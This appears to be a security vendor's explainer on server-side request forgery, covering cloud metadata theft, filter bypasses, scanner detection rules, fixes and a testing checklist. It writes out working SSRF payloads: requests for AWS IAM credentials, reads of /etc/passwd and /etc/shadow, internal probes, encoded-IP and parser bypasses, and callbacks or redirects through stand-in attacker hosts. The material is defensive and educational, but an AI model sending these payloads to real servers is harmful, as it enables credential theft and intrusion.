Server-Side Request Forgery in 2026: What Your Scanner Should Detect
Key Takeaways
- SSRF is OWASP A10 and the attack class that turned cloud metadata endpoints into data exfiltration channels
- Scanners should test for internal IP access, cloud metadata (169.254.169.254), and DNS rebinding bypasses
- The primary fix is allowlisting outbound destinations and blocking access to internal IP ranges
- Cloud environments are especially vulnerable โ SSRF to IMDS can escalate to full account takeover
SSRF โ Server-Side Request Forgery โ is the vulnerability that turned cloud metadata endpoints into data exfiltration channels. It's OWASP A10, it was the root cause of the Capital One breach, and in 2026 it remains one of the most dangerous classes of web application vulnerability because of what it gives an attacker: the ability to make the server send requests on their behalf.
That's the key distinction. With XSS, the attacker's code runs in the victim's browser. With SQLi, the attacker's query runs in the database. With SSRF, the attacker's request runs from the server itself โ inside the firewall, inside the VPC, with access to internal services that are invisible from the outside.
This article covers what SSRF is, why it's particularly dangerous in cloud environments, what a scanner should detect, and how to fix it. If you've read our SQLi detection and XSS detection articles, this completes the injection/forgery trifecta.
1. What Is SSRF?
Server-Side Request Forgery happens when an application takes a user-supplied URL (or partial URL) and makes a server-side HTTP request to it without proper validation. The attacker doesn't get to see the response directly in every case โ but in many cases they do, and even blind SSRF (where the response isn't returned) can be exploited through timing, DNS callbacks, or out-of-band data exfiltration.
The classic vulnerable pattern looks like this:
# Vulnerable: user controls the URL, server fetches it
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url) # Server makes the request
return response.text # Response returned to user
An attacker sends:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
And the server โ running inside AWS โ dutifully fetches the IAM credentials from the instance metadata service and returns them to the attacker.
Where SSRF Hides
SSRF isn't limited to obvious "fetch this URL" endpoints. It appears in:
- PDF generators โ services that render HTML to PDF often fetch external resources (images, stylesheets) from URLs embedded in the HTML
- Webhook configurations โ any feature that lets users specify a callback URL
- Image/file upload by URL โ "paste a URL to import" features
- API integrations โ proxy endpoints that forward requests to user-specified backends
- XML parsers โ XXE (XML External Entity) attacks are a form of SSRF via the XML parser
- Redirect handlers โ open redirects can be chained with SSRF to bypass URL validation
2. Why Cloud Makes It Worse
SSRF existed before cloud computing, but cloud made it catastrophic. The reason is simple: every major cloud provider exposes an instance metadata service at a well-known IP address that's accessible from any process running on the instance.
Cloud Metadata Endpoints
| Provider | Endpoint | What It Exposes |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
IAM role credentials, instance ID, security groups, user data scripts |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Service account tokens, project ID, instance attributes |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Subscription ID, resource group, managed identity tokens |
The 169.254.169.254 address is a link-local IP that's only accessible from the instance itself. From the outside, you can't reach it. But if you can make the server request it via SSRF โ you get everything.
The IMDSv2 Defence (AWS)
AWS introduced IMDSv2 (Instance Metadata Service version 2) to mitigate SSRF attacks against the metadata endpoint. IMDSv2 requires a PUT request to obtain a session token before metadata can be accessed. Since most SSRF vulnerabilities only allow GET requests, this blocks the attack.
But IMDSv2 is not enforced by default on all instance types, and many organisations still run IMDSv1 (which accepts plain GET requests). GCP requires a Metadata-Flavor: Google header, which provides some protection. Azure requires a Metadata: true header.
None of these are foolproof. If the SSRF vulnerability allows the attacker to control request headers (not just the URL), all three can be bypassed.
3. SSRF Attack Patterns
Pattern 1: Cloud Metadata Theft
The highest-impact SSRF pattern. The attacker targets the cloud metadata endpoint to steal IAM credentials or service account tokens, then uses those credentials to access other cloud resources (S3 buckets, databases, other services).
# AWS metadata โ get IAM role name, then credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: "my-app-role"
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-role
# Returns: AccessKeyId, SecretAccessKey, Token
Pattern 2: Internal Service Access
The attacker uses SSRF to reach internal services that aren't exposed to the internet โ admin panels, databases, monitoring dashboards, internal APIs.
# Scan internal network
GET /fetch?url=http://10.0.0.1:8080/admin
GET /fetch?url=http://192.168.1.1/status
GET /fetch?url=http://localhost:6379/ # Redis
Pattern 3: Local File Read
If the application's HTTP client supports the file:// protocol, the attacker can read local files:
GET /fetch?url=file:///etc/passwd
GET /fetch?url=file:///etc/shadow
GET /fetch?url=file:///proc/self/environ # Environment variables (may contain secrets)
Pattern 4: Blind SSRF via DNS/HTTP Callbacks
When the server doesn't return the response body, attackers use out-of-band techniques. They inject a URL pointing to a server they control and watch for the callback:
GET /fetch?url=http://attacker-controlled.example.com/ssrf-callback
If the attacker's server receives a request from the target's IP, SSRF is confirmed โ even though the attacker never sees the response in the application.
4. SSRF Bypass Techniques Scanners Must Handle
Developers often implement SSRF protections that check the URL string โ blocking "169.254.169.254" or "localhost" literally. Attackers bypass these with encoding tricks and parser differentials. Your scanner needs to test these bypasses, not just the basic payloads.
IP Address Encoding Bypasses
The IP address 169.254.169.254 can be represented in multiple formats that resolve to the same address but evade string-matching filters:
# Decimal encoding
http://2852039166/latest/meta-data/
# Octal encoding
http://0251.0376.0251.0376/latest/meta-data/
# Hex encoding
http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/
# Mixed encoding
http://169.254.0xa9.0376/latest/meta-data/
# IPv6 mapped IPv4
http://[::ffff:169.254.169.254]/latest/meta-data/
# Shortened IPv6
http://[::ffff:a9fe:a9fe]/latest/meta-data/
If your scanner only tests the dotted-decimal form, it misses every one of these. A production-grade scanner tests at least decimal, hex, octal, and IPv6-mapped variants for each target IP.
URL Parser Differential Attacks
Many SSRF filters parse the URL to extract the hostname, then check it against a denylist. But the filter's URL parser and the HTTP client's URL parser may disagree on what the hostname is:
# URL with credentials โ some parsers extract "allowed.com" as host,
# but the HTTP client connects to 169.254.169.254
http://[email protected]/latest/meta-data/
# Backslash confusion โ some parsers treat \ as path separator
http://169.254.169.254\@allowed.com/
# Fragment confusion
http://169.254.169.254#@allowed.com/
These work because URL parsing is surprisingly inconsistent across libraries. Python's urllib, Node's url module, Go's net/url, and browser URL parsers all handle edge cases differently.
DNS Rebinding in Detail
DNS rebinding defeats the "resolve first, then check" defence. The attack works in two steps:
- The attacker registers a domain (e.g.,
rebind.attacker.com) with a very short TTL (1 second) - First DNS resolution returns a public IP โ passes the filter's check
- By the time the HTTP client makes the actual connection, the DNS has been updated to return 169.254.169.254
Tools like rbndr and services like 1u.ms make DNS rebinding trivial to test. Your scanner should either test with rebinding payloads or flag applications that don't pin DNS resolution.
Redirect-Based Bypasses
Even if the application validates the initial URL, it may follow HTTP redirects without re-validating:
# Attacker hosts a redirect on their server:
# https://attacker.com/redirect โ 302 โ http://169.254.169.254/latest/meta-data/
GET /fetch?url=https://attacker.com/redirect
# Application validates attacker.com (allowed), follows redirect to metadata
Scanners should test with redirect chains that land on internal targets. If the application follows the redirect and returns metadata content, the SSRF protection is incomplete.
5. What Your Scanner Should Detect
A thorough SSRF scanner should test for all four patterns. Here's what the detection matrix looks like:
| Detection Type | Payload | What to Look For | Severity |
|---|---|---|---|
| Cloud Metadata | http://169.254.169.254/latest/meta-data/ |
AMI IDs, instance-id, iam/security-credentials in response | CRITICAL |
| Cloud Metadata | http://metadata.google.internal/computeMetadata/v1/ |
computeMetadata, project/project-id in response | CRITICAL |
| Cloud Metadata | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
subscriptionId, resourceGroupName in response | CRITICAL |
| File Read | file:///etc/passwd |
root:.*:0:0: pattern in response |
CRITICAL |
| Internal Access | http://localhost/, http://127.0.0.1/ |
Internal IP addresses (10.x, 172.16-31.x, 192.168.x) in response | HIGH |
| URL Reflection | Any injected URL | Injected URL appears verbatim in response body | MEDIUM |
Why Severity Matters
Cloud metadata and file read findings are CRITICAL because they represent immediate data exfiltration. Internal access is HIGH because it confirms the server will make requests to internal addresses โ the attacker just needs to find the right target. URL reflection is MEDIUM because it confirms the parameter is processed server-side but doesn't prove exploitation yet.
6. Detection Methods: How Scanners Find SSRF
Parameter Injection
The scanner identifies URL parameters that might accept URLs (common parameter names: url, link, src, href, redirect, callback, next, dest, target, uri, path, file) and replaces each with SSRF payloads one at a time.
For each parameter-payload combination, the scanner sends the request and analyses the response body for indicators of successful server-side fetching.
Response Analysis
The key to SSRF detection is knowing what a successful attack looks like in the response. The scanner checks for:
- Cloud metadata signatures โ regex patterns for AWS AMI IDs (
ami-[0-9a-f]{8,17}), IAM credential paths, GCP computeMetadata strings, Azure subscription/resource group JSON keys - File content patterns โ
root:.*:0:0:for /etc/passwd,[boot loader]for win.ini - Internal IP addresses โ RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and loopback (127.0.0.0/8) appearing in responses to localhost payloads
- URL reflection โ the exact injected URL string appearing in the response body, indicating the server processed the URL parameter
What Good Scanners Do Differently
Basic scanners only test GET parameters. Better scanners also test:
- POST body parameters (JSON and form-encoded)
- HTTP headers that might be used as URLs (Referer, X-Forwarded-For)
- Redirect chains โ following redirects from an allowed domain to an internal one
- Protocol smuggling โ using
gopher://,dict://, ortftp://schemes - DNS rebinding โ where the domain resolves to a public IP during validation but an internal IP during the actual request
7. Real-World SSRF Examples
Capital One (2019) โ $80M Fine, 100M Records
The most famous SSRF attack. A misconfigured WAF on an AWS EC2 instance allowed an attacker to reach the instance metadata endpoint, steal IAM credentials, and use those credentials to access S3 buckets containing 100 million customer records. The root cause was a combination of SSRF in the WAF proxy and overly permissive IAM roles.
GitLab (2021) โ $20K Bug Bounty
A researcher found SSRF in GitLab's import feature. When importing a project from a URL, GitLab's server would fetch the URL โ including internal addresses. The researcher demonstrated access to the GCP metadata endpoint from GitLab's cloud infrastructure.
Shopify (2020) โ $15K Bug Bounty
SSRF via the "import products from URL" feature. The application fetched user-supplied URLs server-side without validating the destination, allowing access to internal services.
The Pattern
Every major SSRF breach follows the same pattern: (1) find a feature that fetches URLs server-side, (2) inject an internal URL, (3) read the response or use out-of-band exfiltration. The attack surface is any feature that takes a URL as input.
8. How to Fix SSRF
Layer 1: Input Validation
# Allowlist approach โ only permit known-good domains
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}
def validate_url(url):
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError(f"Domain not allowed: {parsed.hostname}")
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"Scheme not allowed: {parsed.scheme}")
return url
Use allowlists, not denylists. Denylists (blocking 169.254.169.254, localhost, etc.) are always incomplete โ attackers find bypasses through DNS rebinding, IPv6 addresses, URL encoding, and redirect chains.
Layer 2: Network Controls
- Block RFC 1918 and link-local at the network level โ configure security groups / firewall rules so the application server cannot reach 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16 on outbound connections
- Enforce IMDSv2 on AWS โ require the token-based metadata endpoint, which blocks GET-only SSRF
- Use a dedicated egress proxy โ route all outbound HTTP through a proxy that enforces URL allowlists
Layer 3: Application Architecture
- Don't fetch user-supplied URLs from the application server โ use a separate, isolated service with minimal permissions for URL fetching
- Resolve DNS before making the request โ check that the resolved IP is not in a private range before connecting (but beware of TOCTOU / DNS rebinding)
- Disable unnecessary URL schemes โ if your HTTP client supports
file://,gopher://, ordict://, disable them - Strip or ignore response bodies โ if you only need to verify a URL is reachable (e.g., webhook validation), use HEAD requests and don't return the response body to the user
Layer 4: Monitoring
- Alert on outbound requests to 169.254.169.254 from application servers
- Monitor for unusual DNS resolutions to private IP ranges
- Log all outbound HTTP requests from URL-fetching features with the resolved IP address
9. SSRF Testing Checklist
Use this checklist when testing for SSRF in your applications:
| # | Check | How to Test | Expected Result |
|---|---|---|---|
| 1 | AWS metadata access | Inject http://169.254.169.254/latest/meta-data/ into URL parameters |
No metadata content in response |
| 2 | GCP metadata access | Inject http://metadata.google.internal/computeMetadata/v1/ |
No metadata content in response |
| 3 | Azure metadata access | Inject http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
No metadata content in response |
| 4 | Local file read | Inject file:///etc/passwd |
No file content in response |
| 5 | Localhost access | Inject http://localhost/ and http://127.0.0.1/ |
No internal content or IP addresses in response |
| 6 | Internal network scan | Inject http://10.0.0.1/, http://192.168.1.1/ |
Request blocked or no internal content returned |
| 7 | URL scheme restriction | Inject gopher://, dict://, tftp:// URLs |
Non-HTTP schemes rejected |
| 8 | Redirect bypass | Inject URL that 302-redirects to http://169.254.169.254/ |
Redirect not followed to internal address |
| 9 | DNS rebinding | Use a domain that alternates between public and private IP resolution | Request blocked after DNS re-resolution |
| 10 | IMDSv2 enforcement (AWS) | Verify instance requires IMDSv2 token for metadata access | GET to metadata endpoint returns 401 without token |
10. SSRF Testing Tools
Manual testing and custom scanners benefit from purpose-built SSRF tools:
| Tool | What It Does | When to Use It |
|---|---|---|
| Burp Collaborator | Provides unique callback URLs that log DNS and HTTP interactions from the target server | Blind SSRF detection โ confirms the server made an outbound request even when the response isn't returned to you |
| SSRFmap | Automates SSRF exploitation with modules for AWS/GCP/Azure metadata, local file read, and network scanning | Post-discovery exploitation โ once you've confirmed SSRF exists, SSRFmap automates the data extraction |
| Gopherus | Generates gopher:// payloads for exploiting SSRF against internal services (Redis, MySQL, SMTP, FastCGI) | When the target's HTTP client supports the gopher protocol โ turns SSRF into RCE via internal service exploitation |
| interactsh | Open-source alternative to Burp Collaborator โ generates unique callback URLs with DNS/HTTP/SMTP logging | Blind SSRF detection without a Burp license โ self-hostable for sensitive engagements |
Combining Tools for Full Coverage
A practical SSRF testing workflow combines these tools: use Burp Suite or interactsh to identify blind SSRF endpoints, SSRFmap to automate metadata extraction once confirmed, and Gopherus when gopher:// is supported and internal services (Redis, MySQL) are reachable. No single tool covers every scenario โ the combination matters.
Bottom Line
SSRF is the vulnerability that bridges the gap between "I can reach your web application" and "I can reach everything your web application can reach." In cloud environments, that means IAM credentials, internal APIs, databases, and metadata services.
The fix isn't a single control โ it's defence in depth: input validation (allowlists, not denylists), network controls (block private ranges at the firewall), application architecture (isolate URL-fetching services), and monitoring (alert on metadata endpoint access). And your testing must go beyond basic payloads โ IP encoding bypasses, DNS rebinding, and redirect chains are how real attackers evade SSRF filters in production.
If your scanner isn't testing for SSRF against all three major cloud metadata endpoints, bypass techniques, localhost access, and file:// protocol abuse โ it's leaving your most dangerous attack surface untested.
This article is part of our scanner detection series. See also: SQL Injection Detection, XSS Detection, TLS Auditing.